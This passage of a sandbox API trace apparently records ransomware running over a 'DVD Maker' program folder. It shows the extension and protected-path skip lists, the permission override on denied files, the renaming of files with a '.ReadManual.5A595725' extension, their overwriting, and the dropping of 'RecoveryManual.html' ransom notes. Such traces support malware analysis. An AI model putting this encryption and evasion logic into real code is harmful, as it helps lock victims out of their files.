dwReserved1=0x0, cFileName="barca.exe", cAlternateFileName="")) returned 1 [0250.375] lstrcpyW (in: lpString1=0x6ab8da, lpString2="barca.exe" | out: lpString1="barca.exe") returned="barca.exe" [0250.375] lstrcmpiW (lpString1="barca.exe", lpString2="RecoveryManual.html") returned -1 [0250.375] StrStrIW (lpFirst="barca.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.375] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0250.375] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0250.375] lstrcpyW (in: lpString1=0x6ab8da, lpString2="bod_r.TTF" | out: lpString1="bod_r.TTF") returned="bod_r.TTF" [0250.375] lstrcmpiW (lpString1="bod_r.TTF", lpString2="RecoveryManual.html") returned -1 [0250.375] StrStrIW (lpFirst="bod_r.TTF", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.375] StrCmpIW (psz1="TTF", psz2="exe") returned 1 [0250.375] StrCmpIW (psz1="TTF", psz2="dll") returned 1 [0250.375] StrCmpIW (psz1="TTF", psz2="sys") returned 1 [0250.375] StrCmpIW (psz1="TTF", psz2="msi") returned 1 [0250.375] StrCmpIW (psz1="TTF", psz2="mui") returned 1 [0250.375] StrCmpIW (psz1="TTF", psz2="inf") returned 1 [0250.376] StrCmpIW (psz1="TTF", psz2="cat") returned 1 [0250.376] StrCmpIW (psz1="TTF", psz2="bat") returned 1 [0250.376] StrCmpIW (psz1="TTF", psz2="cmd") returned 1 [0250.376] StrCmpIW (psz1="TTF", psz2="ps1") returned 1 [0250.376] StrCmpIW (psz1="TTF", psz2="vbs") returned -1 [0250.376] StrCmpIW (psz1="TTF", psz2="ttf") returned 0 [0250.376] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0250.376] lstrcpyW (in: lpString1=0x6ab8da, lpString2="directshowtap.ax" | out: lpString1="directshowtap.ax") returned="directshowtap.ax" [0250.376] lstrcmpiW (lpString1="directshowtap.ax", lpString2="RecoveryManual.html") returned -1 [0250.376] StrStrIW (lpFirst="directshowtap.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.376] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0250.376] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0250.376] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax" [0250.376] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax.ReadManual.5A595725" [0250.376] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax.ReadManual.5A595725") returned 67 [0250.376] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37104503322) returned 1 [0250.376] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax")) returned 0x20 [0250.377] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.377] GetLastError () returned 0x5 [0250.377] GetNamedSecurityInfoW () returned 0x0 [0250.377] SetNamedSecurityInfoW () returned 0x0 [0250.377] SetNamedSecurityInfoW () returned 0x0 [0250.378] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\directshowtap.ax" (normalized: "c:\\program files\\dvd maker\\directshowtap.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0250.378] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=61440) returned 1 [0250.378] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf000, lpName=0x0) returned 0x190 [0250.378] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x96) returned 1 [0250.378] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.378] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0250.379] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fd14*=0x100, lpOverlapped=0x0) returned 1 [0250.379] MapViewOfFile (hFileMappingObject=0x190, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf000) returned 0x2f0000 [0250.382] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.382] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe20 | out: lpPerformanceCount=0x434fe20*=37105080256) returned 1 [0250.382] CloseHandle (hObject=0x190) returned 1 [0250.382] SetSecurityInfo () returned 0x5 [0250.382] SetSecurityInfo () returned 0x5 [0250.382] LocalFree (hMem=0x674d38) returned 0x0 [0250.382] CloseHandle (hObject=0x18c) returned 1 [0250.382] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xe1601f60, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x227600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVDMaker.exe", cAlternateFileName="")) returned 1 [0250.382] lstrcpyW (in: lpString1=0x6ab8da, lpString2="DVDMaker.exe" | out: lpString1="DVDMaker.exe") returned="DVDMaker.exe" [0250.382] lstrcmpiW (lpString1="DVDMaker.exe", lpString2="RecoveryManual.html") returned -1 [0250.382] StrStrIW (lpFirst="DVDMaker.exe", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.383] StrCmpIW (psz1="exe", psz2="exe") returned 0 [0250.383] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0250.383] lstrcpyW (in: lpString1=0x69b8da, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0250.383] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\Windows\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\System Volume Information\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\$RECYCLE.BIN\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\SYSTEM.SAV") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\WINNT") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\$WINDOWS.~BT\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\Windows.old\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\PerfLog\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\WindowsApps\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Microsoft\\Windows\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Roaming\\Microsoft\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Local\\Microsoft\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\LocalLow\\Microsoft\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\ProgramData\\Microsoft\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Local\\Packages\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch=":\\ProgramData\\Packages\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Windows Defender\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\microsoft shared\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Google\\Chrome\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Mozilla Firefox\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Mozilla\\Firefox\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Internet Explorer\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\MicrosoftEdge\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\Tor Browser\\") returned 0x0 [0250.383] StrStrIW (lpFirst="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpSrch="\\AppData\\Local\\Temp\\") returned 0x0 [0250.383] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\") returned 37 [0250.383] FindFirstFileW (in: lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6bfec0 [0250.384] lstrcpyW (in: lpString1=0x6ab89c, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\" [0250.384] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0250.384] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xca00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DVDMaker.exe.mui", cAlternateFileName="")) returned 1 [0250.384] lstrcpyW (in: lpString1=0x6ab8e6, lpString2="DVDMaker.exe.mui" | out: lpString1="DVDMaker.exe.mui") returned="DVDMaker.exe.mui" [0250.384] lstrcmpiW (lpString1="DVDMaker.exe.mui", lpString2="RecoveryManual.html") returned -1 [0250.384] StrStrIW (lpFirst="DVDMaker.exe.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.384] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.384] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.384] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.384] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.384] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.384] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\" [0250.384] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\RecoveryManual.html" [0250.384] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\en-US\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\en-us\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0250.384] WriteFile (in: hFile=0x190, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe38, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe38*=0xae9, lpOverlapped=0x0) returned 1 [0250.385] CloseHandle (hObject=0x190) returned 1 [0250.386] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OmdProject.dll.mui", cAlternateFileName="")) returned 1 [0250.386] lstrcpyW (in: lpString1=0x6ab8e6, lpString2="OmdProject.dll.mui" | out: lpString1="OmdProject.dll.mui") returned="OmdProject.dll.mui" [0250.386] lstrcmpiW (lpString1="OmdProject.dll.mui", lpString2="RecoveryManual.html") returned -1 [0250.386] StrStrIW (lpFirst="OmdProject.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.386] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.386] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.386] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.386] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.386] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.386] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 1 [0250.386] lstrcpyW (in: lpString1=0x6ab8e6, lpString2="WMM2CLIP.dll.mui" | out: lpString1="WMM2CLIP.dll.mui") returned="WMM2CLIP.dll.mui" [0250.386] lstrcmpiW (lpString1="WMM2CLIP.dll.mui", lpString2="RecoveryManual.html") returned 1 [0250.386] StrStrIW (lpFirst="WMM2CLIP.dll.mui", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.386] StrCmpIW (psz1="mui", psz2="exe") returned 1 [0250.386] StrCmpIW (psz1="mui", psz2="dll") returned 1 [0250.386] StrCmpIW (psz1="mui", psz2="sys") returned -1 [0250.386] StrCmpIW (psz1="mui", psz2="msi") returned 1 [0250.386] StrCmpIW (psz1="mui", psz2="mui") returned 0 [0250.386] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11090870, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x11090870, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WMM2CLIP.dll.mui", cAlternateFileName="")) returned 0 [0250.386] FindClose (in: hFindFile=0x6bfec0 | out: hFindFile=0x6bfec0) returned 1 [0250.387] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd559b52d, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xd559b52d, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xddb8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Eurosti.TTF", cAlternateFileName="")) returned 1 [0250.387] lstrcpyW (in: lpString1=0x6ab8da, lpString2="Eurosti.TTF" | out: lpString1="Eurosti.TTF") returned="Eurosti.TTF" [0250.387] lstrcmpiW (lpString1="Eurosti.TTF", lpString2="RecoveryManual.html") returned -1 [0250.387] StrStrIW (lpFirst="Eurosti.TTF", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.387] StrCmpIW (psz1="TTF", psz2="exe") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="dll") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="sys") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="msi") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="mui") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="inf") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="cat") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="bat") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="cmd") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="ps1") returned 1 [0250.387] StrCmpIW (psz1="TTF", psz2="vbs") returned -1 [0250.387] StrCmpIW (psz1="TTF", psz2="ttf") returned 0 [0250.387] lstrcpyW (in: lpString1=0x68b874, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\") returned="\\\\?\\c:\\Program Files\\DVD Maker\\" [0250.387] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\", lpString2="RecoveryManual.html" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html") returned="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html" [0250.387] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\RecoveryManual.html" (normalized: "c:\\program files\\dvd maker\\recoverymanual.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0250.388] WriteFile (in: hFile=0x18c, lpBuffer=0x2e8138*, nNumberOfBytesToWrite=0xae9, lpNumberOfBytesWritten=0x434fe80, lpOverlapped=0x0 | out: lpBuffer=0x2e8138*, lpNumberOfBytesWritten=0x434fe80*=0xae9, lpOverlapped=0x0) returned 1 [0250.389] CloseHandle (hObject=0x18c) returned 1 [0250.389] FindNextFileW (in: hFindFile=0x6bfe80, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0c03b3f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0c03b3f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0c03b3f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fieldswitch.ax", cAlternateFileName="")) returned 1 [0250.389] lstrcpyW (in: lpString1=0x6ab8da, lpString2="fieldswitch.ax" | out: lpString1="fieldswitch.ax") returned="fieldswitch.ax" [0250.389] lstrcmpiW (lpString1="fieldswitch.ax", lpString2="RecoveryManual.html") returned -1 [0250.389] StrStrIW (lpFirst="fieldswitch.ax", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.389] StrCmpIW (psz1="ax", psz2="exe") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="dll") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="sys") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="msi") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="mui") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="inf") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="cat") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="bat") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="cmd") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="ps1") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="vbs") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="ttf") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="fon") returned -1 [0250.389] StrCmpIW (psz1="ax", psz2="lnk") returned -1 [0250.389] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax") returned="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax" [0250.389] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax.ReadManual.5A595725" [0250.389] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax.ReadManual.5A595725") returned 65 [0250.389] QueryPerformanceCounter (in: lpPerformanceCount=0x434fe18 | out: lpPerformanceCount=0x434fe18*=37105810218) returned 1 [0250.389] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax")) returned 0x20 [0250.390] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.390] GetLastError () returned 0x5 [0250.390] GetNamedSecurityInfoW () returned 0x0 [0250.391] SetNamedSecurityInfoW () returned 0x0 [0250.391] SetNamedSecurityInfoW () returned 0x0 [0250.391] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\fieldswitch.ax" (normalized: "c:\\program files\\dvd maker\\fieldswitch.ax"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0250.391] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x434fe30 | out: lpFileSize=0x434fe30*=41472) returned 1 [0250.392] CreateFileMappingW (hFile=0x18c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa200, lpName=0x0) returned 0x190 [0250.392] SetFileInformationByHandle (hFile=0x18c, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0x92) returned 1 [0250.392] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.392] WriteFile (in: hFile=0x18c, lpBuffer=0x434fd18*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: lpBuffer=0x434fd18*, lpNumberOfBytesWritten=0x434fd14*=0x20, lpOverlapped=0x0) returned 1 [0250.394] WriteFile (in: hFile=0x18c, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fd14, lpOverlapped=0x0 | out: 